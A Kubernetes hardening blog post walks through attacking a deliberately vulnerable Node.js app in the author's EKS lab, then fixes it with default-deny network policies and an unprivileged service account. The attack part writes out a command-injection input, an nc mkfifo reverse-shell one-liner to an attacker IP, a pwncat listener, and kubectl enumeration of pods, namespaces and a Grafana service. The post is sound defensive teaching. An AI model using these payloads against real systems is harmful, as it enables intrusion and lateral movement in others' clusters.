Take the first steps to harden your Kubernetes cluster
Tags: kubernetes, security
Published: 2023-09-08 21:58:01


Out of the box, a brand-new Kubernetes deployment is insecure by default. 
It is a blessing for development since we can focus on building applications without going through too much red tape.
Once we move into production, however, that's when we need to double down on security.
In this blog post, you will learn two approaches to make your cluster more secure.
We will start by exploiting a vulnerable application and enumerating cluster resources.

**Please note: The attack scenario here is only for demonstration purposes and the vulnerable application.**

## The attack scenario

A Kubernetes cluster runs a vulnerable Node.js application that's public-facing. We will use this application to gain access to the pod and other resources within the cluster.
## Setup

Our setup consists of:

- A EKS Cluster
- A vulnerable Node.js workload
- A Grafana workload
- An operator workload
- An EC2 virtual machine to drive the attack from
    - With [pwncat-cs](https://github.com/calebstewart/pwncat#installation) installed

Clone the following repository and follow the instructions in the README:

https://github.com/schultyy/vulnerable-k8s-deployment

This setup consists of an AWS Kubernetes Cluster, a Node.js application vulnerable to [command injection](https://owasp.org/www-community/attacks/Command_Injection), and a service living in another namespace.

The script you run sets up everything so we can start immediately.
We won't go through the steps of setting up a public-facing load balancer. Instead, we'll simulate it by port-forwarding the service:

```bash
kubectl port-forward svc/syringe-service 8080:8080
```

## Attacking an application via command injection

The application we're looking at today has a straightforward task: Check if a service behind a domain name is available. 

![Ping Command Output](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/umuvfyid0r685b9gs7bt.png)

The output suggests that it seems to run the `ping` command behind the scenes. That's a perfect opportunity to test if we can inject other commands.
Open the page again, and provide `google.com; whoami` as input.

![Ping Command Output with Command Injection](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/zifblmkcrpafqmblnt8m.png)

The output confirms it: the input is not sanitized, and we can run arbitrary commands. We just discovered a vulnerability we can leverage to gain access.

### Gaining access with a reverse shell

Open [`revshells.com`](https://revshells.com) in your browser. We want to open a reverse shell into the container. Get the public IP address from your EC2 machine and paste it into the IP address field. For port, choose `8888`. 

Scroll through the list until you find `nc mkfifo`. Copy the command.
Example:
```
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <IP ADDRESS> 8888 >/tmp/f
```

We're using [`pwncat-cs`](https://github.com/calebstewart/pwncat) to listen for incoming connections and elevate to a shell. Log into the EC2 VM and run:

```
pwncat-cs -lp 8888
```


Now that we're listening for incoming connections, return to the browser and open the application tab again. Paste a domain together with the revshell string into the application's text field:

```
google.com ; <REV SHELL String>
```

Once you click submit, the tab will show a loading indicator. 
Go back to your terminal. pwncat should have accepted a new incoming connection by now. Your output should look similar to the following example:

```
ubuntu@ip-172-31-12-79:~$ pwncat-cs -lp 8888
[15:11:04] Welcome to pwncat 🐈!                                                                                   __main__.py:164
[15:11:13] received connection from <IP>:35812                                                                     bind.py:84
[15:11:14] 0.0.0.0:8888: upgrading from /usr/bin/dash to /usr/bin/bash                                              manager.py:957
[15:11:15] <IP>:35812: registered new host w/ db                                                               manager.py:957
(local) pwncat$
```

### Install `kubectl`

Once we have gained access to the pod, we want to discover additional Kubernetes resources.
For that, we'll need the `kubectl` command line tool. On your EC2 virtual machine, go ahead and run the following command. **Please ensure you're in the same directory as in the other session where pwncat runs.**

```bash
curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
```

Next, upload the binary to the pod via pwncat. In the pwncat terminal, run:

```bash
upload kubectl
```

The upload might take a few seconds. Once finished, press `CTRL+D` to switch to the remote shell. 

pwncat copied the binary into the `WORKDIR` of the container. Let's move it out of there first and make it executable:
```bash
mv kubectl /opt
cd /opt
chmod +x kubectl
```

### Enumerate Kubernetes

Now that we're ready to investigate the system a bit closer let's start by looking at the currently available permissions:

```bash
./kubectl auth can-i --list
```

Turns out, we have a few different things we can do:

```bash
Resources                                       Non-Resource URLs                     Resource Names     Verbs
selfsubjectaccessreviews.authorization.k8s.io   []                                    []                 [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                    []                 [create]
namespaces                                      []                                    []                 [get list]
pods                                            []                                    []                 [get list]
...
```

The output above indicates we can see namespaces and pods. Listing all pods returns this:

```bash
./kubectl get pods
NAME                                  READY   STATUS    RESTARTS        AGE
operator-56854d79f9-7xj49             1/1     Running   1 (7m45s ago)   67m
syringe-deployment-7d4bf479f5-qbnmq   1/1     Running   0               72m
```

We see the syringe pod, which is our current pod. It seems there's also some [operator](https://kubernetes.io/docs/concepts/extend-kubernetes/operator/) running.

Looking at namespaces:

```bash
./kubectl get ns
NAME              STATUS   AGE
default           Active   8d
grafana           Active   43m
kube-node-lease   Active   8d
kube-public       Active   8d
kube-system       Active   8d
```

Our current pod is one of many tenants. Besides system namespaces and `default`, there's also `grafana`. Some probing reveals:

```bash
curl -XGET -v -L http://grafana.grafana.svc.cluster.local:3000
Note: Unnecessary use of -X or --request, GET is already inferred.
*   Trying 10.100.173.100:3000...
* Connected to grafana.grafana.svc.cluster.local (10.100.173.100) port 3000 (#0)
> GET / HTTP/1.1
> Host: grafana.grafana.svc.cluster.local:3000
> User-Agent: curl/7.88.1
> Accept: */*
>
< HTTP/1.1 302 Found
< Cache-Control: no-cache
< Content-Type: text/html; charset=utf-8
< Expires: -1
< Location: /login
< Pragma: no-cache
< Set-Cookie: redirect_to=%2F; Path=/; HttpOnly; SameSite=Lax
< X-Content-Type-Options: nosniff
< X-Frame-Options: deny
< X-Xss-Protection: 1; mode=block
< Date: Thu, 07 Sep 2023 20:52:12 GMT
< Content-Length: 29
<
* Ignoring the response-body
* Connection #0 to host grafana.grafana.svc.cluster.local left intact
* Issue another request to this URL: 'http://grafana.grafana.svc.cluster.local:3000/login'
* Found bundle for host: 0x558871016900 [serially]
* Can not multiplex, even if we wanted to
* Re-using existing connection #0 with host grafana.grafana.svc.cluster.local
> GET /login HTTP/1.1
> Host: grafana.grafana.svc.cluster.local:3000
> User-Agent: curl/7.88.1
> Accept: */*
>
< HTTP/1.1 200 OK
< Cache-Control: no-cache
< Content-Type: text/html; charset=UTF-8
< Expires: -1
< Pragma: no-cache
< X-Content-Type-Options: nosniff
< X-Frame-Options: deny
< X-Xss-Protection: 1; mode=block
< Date: Thu, 07 Sep 2023 20:52:12 GMT
< Transfer-Encoding: chunked
....
```

We can access the service, even if it lives in another namespace, belonging to another application or team.

## Why is accessing services in other namespaces problematic?

As an attacker, we gained access to a Kubernetes cluster by leveraging a command injection vulnerability in an application.
While we don't have cluster-admin permissions, running `kubectl` revealed enough information to discover other services that can potentially be exploited.

In this scenario, the other namespace contains a Grafana instance. Grafana could become another target to gain more access.
Thinking further, what if, instead of Grafana, we discovered a database instance? Depending on how secrets are stored and managed within the cluster, gaining access and stealing sensitive customer data might be straightforward.
Let's start making some changes to the system to prevent further access.
## Remediation

The following steps will cover changes to the Kubernetes cluster itself to make it more difficult for attackers to gain access. In a real-world scenario, you would also ensure the application cannot be used as an attack vector by addressing the command injection vulnerability. 

### Restrict network access with network policies

Kubernetes' default network policy allows every application to talk to any other application within the cluster. A single cluster might host several different tenants, and in most cases, these tenants don't need to communicate with each other.
Therefore, we restrict network access to outbound domains and services that are needed. 

**Note: Kubernetes requires a Network plugin to enforce network policies. We choose [Calico](https://docs.tigera.io/calico/3.25/getting-started/kubernetes/helm#install-calico) for this scenario.**

Apply the following rules:

```bash
kubectl apply -f- <<EOF
kind: NetworkPolicy
apiVersion: networking.k8s.io/v1
metadata:
  name: default-deny
  namespace: default
spec:
  podSelector: {}
  policyTypes:
  - Egress
  - Ingress
---
kind: NetworkPolicy
apiVersion: networking.k8s.io/v1
metadata:
  name: default-deny
  namespace: grafana
spec:
  podSelector: {}
  policyTypes:
  - Egress
  - Ingress
---
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: egress-allow
spec:
  podSelector:
    matchLabels:
      app: syringe
  egress:
    - to:
        - ipBlock:
            cidr: 0.0.0.0/0
  policyTypes:
    - Egress
```

The first two rules deny all network traffic, inbound, and output for the default and `grafana` namespace.
The last rule opens up traffic for outbound traffic leaving the cluster.
If this cluster hosted any additional applications that needed to communicate with Grafana, these would require different network rules.

### Sharing Users

Using `kubectl`, we could verify the syringe pod could communicate with the Kubernetes API Server.
Since this pod only hosts regular application code, there's no need to extend privileges in the first place.

Why does the pod have these permissions, though?

Any pod running in Kubernetes has a [service account associated.](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#use-the-default-service-account-to-access-the-api-server)
The service account has certain privileges that determine if it can, for instance, access the API server to manage the cluster.
Kubernetes assigns a default service account if no other account is specified in the deployment yaml configuration.
In this case, both syringe and operator pods were deployed with the same account. 

This case is an excellent example of why sharing service accounts across several applications is dangerous. The service account might have started with zero privileges but received additional ones once the `operator` pod started using it.

To remedy the situation, we created a new service account without privileges and assigned it to syringe.

```bash
kubectl apply -f - <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
  name: syringe
EOF

kubectl apply -f- <<EOF
apiVersion: apps/v1
kind: Deployment
metadata:
  name: syringe-deployment
spec:
  replicas: 1
  selector:
    matchLabels:
      app: syringe
  template:
    metadata:
      labels:
        app: syringe
    spec:
      serviceAccountName: syringe
      automountServiceAccountToken: false
      containers:
        - name: syringe
          image: ghcr.io/schultyy/syringe:latest
          imagePullPolicy: Always
          ports:
            - containerPort: 3000
EOF
```

The next time we run `kubectl` within the pod, we'll notice that we lack permission to see other pods and namespaces.

We can even take this a step further. To authenticate with the API server, `kubectl` uses a [service token](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#opt-out-of-api-credential-automounting), automatically mounted into the pod.
To reduce the potential to act even further, we can turn off auto-mounting this token in the first place via the via`automountServiceAccountToken: false` key in the code snippet above.

## Next Steps

These are only the first steps towards a secure system. To summarize:

- Make sure you define network rules to only allow necessary traffic
- Pods that don't need to interact with the API server don't need permissions
- Use separate service accounts for each deployment
- Follow [best practices](https://dev.to/ciscoemerge/building-secure-docker-images-for-production-best-practices-5d0f) when building Docker images

What other best practices do you use? Share them in the comments below.